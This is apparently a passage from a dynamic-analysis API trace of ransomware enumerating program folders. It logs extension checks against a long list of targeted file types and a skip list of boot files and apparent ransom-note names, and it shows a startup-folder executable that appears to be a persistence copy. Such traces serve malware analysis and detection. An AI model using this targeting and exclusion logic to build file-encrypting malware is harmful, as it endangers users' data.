	[0154.703] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".dae") returned 4
	[0154.703] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".dat") returned 4
	[0154.703] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".db") returned 3
	[0154.703] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0154.703] lstrlenW (lpString=".dbf") returned 4
	[0154.703] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".dbx") returned 4
	[0154.703] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".dc3") returned 4
	[0154.704] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".dcm") returned 4
	[0154.704] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".dcr") returned 4
	[0154.704] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".der") returned 4
	[0154.704] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".dib") returned 4
	[0154.704] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".dic") returned 4
	[0154.704] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".dif") returned 4
	[0154.704] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".divx") returned 5
	[0154.704] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0154.704] lstrlenW (lpString=".djvu") returned 5
	[0154.704] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0154.704] lstrlenW (lpString=".dng") returned 4
	[0154.704] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".doc") returned 4
	[0154.704] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0154.704] lstrlenW (lpString=".docm") returned 5
	[0154.704] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0154.704] lstrlenW (lpString=".docx") returned 5
	[0154.704] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0154.704] lstrlenW (lpString=".dot") returned 4
	[0154.705] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dotm") returned 5
	[0154.705] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0154.705] lstrlenW (lpString=".dotx") returned 5
	[0154.705] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0154.705] lstrlenW (lpString=".dpx") returned 4
	[0154.705] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dqy") returned 4
	[0154.705] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dsn") returned 4
	[0154.705] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dt") returned 3
	[0154.705] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0154.705] lstrlenW (lpString=".dtd") returned 4
	[0154.705] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dwg") returned 4
	[0154.705] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dwt") returned 4
	[0154.705] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".dx") returned 3
	[0154.705] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0154.705] lstrlenW (lpString=".dxf") returned 4
	[0154.705] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0154.705] lstrlenW (lpString=".edml") returned 5
	[0154.705] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0154.705] lstrlenW (lpString=".efd") returned 4
	[0154.705] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".elf") returned 4
	[0154.706] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".emf") returned 4
	[0154.706] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".emz") returned 4
	[0154.706] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".epf") returned 4
	[0154.706] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".eps") returned 4
	[0154.706] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".epsf") returned 5
	[0154.706] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0154.706] lstrlenW (lpString=".epsp") returned 5
	[0154.706] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0154.706] lstrlenW (lpString=".erf") returned 4
	[0154.706] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".exr") returned 4
	[0154.706] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".f4v") returned 4
	[0154.706] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".fido") returned 5
	[0154.706] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0154.706] lstrlenW (lpString=".flm") returned 4
	[0154.706] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".flv") returned 4
	[0154.706] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0154.706] lstrlenW (lpString=".frm") returned 4
	[0154.706] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".fxg") returned 4
	[0154.707] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".geo") returned 4
	[0154.707] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".gif") returned 4
	[0154.707] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".grs") returned 4
	[0154.707] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".gz") returned 3
	[0154.707] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0154.707] lstrlenW (lpString=".h") returned 2
	[0154.707] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0154.707] lstrlenW (lpString=".hdr") returned 4
	[0154.707] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".hpp") returned 4
	[0154.707] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".hta") returned 4
	[0154.707] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".htc") returned 4
	[0154.707] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".htm") returned 4
	[0154.707] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0154.707] lstrlenW (lpString=".html") returned 5
	[0154.707] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0154.707] lstrlenW (lpString="index.html") returned 10
	[0154.707] lstrlenW (lpString=".yG") returned 3
	[0154.707] lstrcmpiW (lpString1=".yG", lpString2="tml") returned -1
	[0154.708] lstrlenW (lpString="index.html") returned 10
	[0154.708] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0154.708] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0154.708] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0154.708] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0154.708] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0154.708] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="index.html") returned 1
	[0154.708] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0154.708] lstrcmpiW (lpString1="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpString2="index.html") returned -1
	[0154.708] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html") returned 111
	[0154.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.708] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0154.708] lstrlenW (lpString=".1cd") returned 4
	[0154.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.708] lstrlenW (lpString=".3ds") returned 4
	[0154.708] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0154.708] lstrlenW (lpString=".3fr") returned 4
	[0154.708] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0154.708] lstrlenW (lpString=".3g2") returned 4
	[0154.708] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0154.708] lstrlenW (lpString=".3gp") returned 4
	[0154.708] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0154.708] lstrlenW (lpString=".7z") returned 3
	[0154.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.708] lstrlenW (lpString=".accda") returned 6
	[0154.708] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0154.708] lstrlenW (lpString=".accdb") returned 6
	[0154.709] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0154.709] lstrlenW (lpString=".accdc") returned 6
	[0154.709] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0154.709] lstrlenW (lpString=".accde") returned 6
	[0154.709] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0154.709] lstrlenW (lpString=".accdt") returned 6
	[0154.709] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0154.709] lstrlenW (lpString=".accdw") returned 6
	[0154.709] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0154.709] lstrlenW (lpString=".adb") returned 4
	[0154.709] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".adp") returned 4
	[0154.709] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".ai") returned 3
	[0154.709] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0154.709] lstrlenW (lpString=".ai3") returned 4
	[0154.709] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".ai4") returned 4
	[0154.709] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".ai5") returned 4
	[0154.709] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".ai6") returned 4
	[0154.709] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".ai7") returned 4
	[0154.709] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".ai8") returned 4
	[0154.709] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0154.709] lstrlenW (lpString=".anim") returned 5
	[0154.709] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0154.709] lstrlenW (lpString=".arw") returned 4
	[0154.710] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".as") returned 3
	[0154.710] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0154.710] lstrlenW (lpString=".asa") returned 4
	[0154.710] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".asc") returned 4
	[0154.710] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".ascx") returned 5
	[0154.710] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0154.710] lstrlenW (lpString=".asm") returned 4
	[0154.710] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".asmx") returned 5
	[0154.710] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0154.710] lstrlenW (lpString=".asp") returned 4
	[0154.710] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".aspx") returned 5
	[0154.710] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0154.710] lstrlenW (lpString=".asr") returned 4
	[0154.710] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".asx") returned 4
	[0154.710] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".avi") returned 4
	[0154.710] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".avs") returned 4
	[0154.710] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0154.710] lstrlenW (lpString=".backup") returned 7
	[0154.710] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0154.710] lstrlenW (lpString=".bak") returned 4
	[0154.710] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".bay") returned 4
	[0154.711] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".bd") returned 3
	[0154.711] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0154.711] lstrlenW (lpString=".bin") returned 4
	[0154.711] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".bmp") returned 4
	[0154.711] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".bz2") returned 4
	[0154.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".c") returned 2
	[0154.711] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0154.711] lstrlenW (lpString=".cdr") returned 4
	[0154.711] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".cer") returned 4
	[0154.711] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".cf") returned 3
	[0154.711] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0154.711] lstrlenW (lpString=".cfc") returned 4
	[0154.711] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".cfm") returned 4
	[0154.711] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".cfml") returned 5
	[0154.711] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0154.711] lstrlenW (lpString=".cfu") returned 4
	[0154.711] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".chm") returned 4
	[0154.711] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0154.711] lstrlenW (lpString=".cin") returned 4
	[0154.712] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".class") returned 6
	[0154.712] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0154.712] lstrlenW (lpString=".clx") returned 4
	[0154.712] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".config") returned 7
	[0154.712] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0154.712] lstrlenW (lpString=".cpp") returned 4
	[0154.712] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".cr2") returned 4
	[0154.712] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".crt") returned 4
	[0154.712] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".crw") returned 4
	[0154.712] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".cs") returned 3
	[0154.712] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0154.712] lstrlenW (lpString=".css") returned 4
	[0154.712] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0154.712] lstrlenW (lpString=".csv") returned 4
	[0154.713] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".cub") returned 4
	[0154.713] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dae") returned 4
	[0154.713] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dat") returned 4
	[0154.713] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".db") returned 3
	[0154.713] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0154.713] lstrlenW (lpString=".dbf") returned 4
	[0154.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dbx") returned 4
	[0154.713] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dc3") returned 4
	[0154.713] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dcm") returned 4
	[0154.713] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dcr") returned 4
	[0154.713] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".der") returned 4
	[0154.713] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dib") returned 4
	[0154.713] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dic") returned 4
	[0154.713] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".dif") returned 4
	[0154.713] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0154.713] lstrlenW (lpString=".divx") returned 5
	[0154.713] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0154.713] lstrlenW (lpString=".djvu") returned 5
	[0154.714] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0154.714] lstrlenW (lpString=".dng") returned 4
	[0154.714] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".doc") returned 4
	[0154.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".docm") returned 5
	[0154.714] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0154.714] lstrlenW (lpString=".docx") returned 5
	[0154.714] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0154.714] lstrlenW (lpString=".dot") returned 4
	[0154.714] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".dotm") returned 5
	[0154.714] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0154.714] lstrlenW (lpString=".dotx") returned 5
	[0154.714] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0154.714] lstrlenW (lpString=".dpx") returned 4
	[0154.714] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".dqy") returned 4
	[0154.714] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".dsn") returned 4
	[0154.714] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".dt") returned 3
	[0154.714] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0154.714] lstrlenW (lpString=".dtd") returned 4
	[0154.714] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".dwg") returned 4
	[0154.714] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0154.714] lstrlenW (lpString=".dwt") returned 4
	[0154.714] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".dx") returned 3
	[0154.715] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0154.715] lstrlenW (lpString=".dxf") returned 4
	[0154.715] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".edml") returned 5
	[0154.715] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0154.715] lstrlenW (lpString=".efd") returned 4
	[0154.715] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".elf") returned 4
	[0154.715] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".emf") returned 4
	[0154.715] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".emz") returned 4
	[0154.715] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".epf") returned 4
	[0154.715] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".eps") returned 4
	[0154.715] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".epsf") returned 5
	[0154.715] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0154.715] lstrlenW (lpString=".epsp") returned 5
	[0154.715] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0154.715] lstrlenW (lpString=".erf") returned 4
	[0154.715] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".exr") returned 4
	[0154.715] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".f4v") returned 4
	[0154.715] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0154.715] lstrlenW (lpString=".fido") returned 5
	[0154.716] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0154.716] lstrlenW (lpString=".flm") returned 4
	[0154.716] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".flv") returned 4
	[0154.716] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".frm") returned 4
	[0154.716] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".fxg") returned 4
	[0154.716] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".geo") returned 4
	[0154.716] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".gif") returned 4
	[0154.716] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".grs") returned 4
	[0154.716] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".gz") returned 3
	[0154.716] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0154.716] lstrlenW (lpString=".h") returned 2
	[0154.716] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0154.716] lstrlenW (lpString=".hdr") returned 4
	[0154.716] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".hpp") returned 4
	[0154.716] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0154.716] lstrlenW (lpString=".hta") returned 4
	[0154.717] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.717] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.717] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.717] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.718] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1
	[0154.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.718] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID") returned 100
	[0154.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0154.719] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
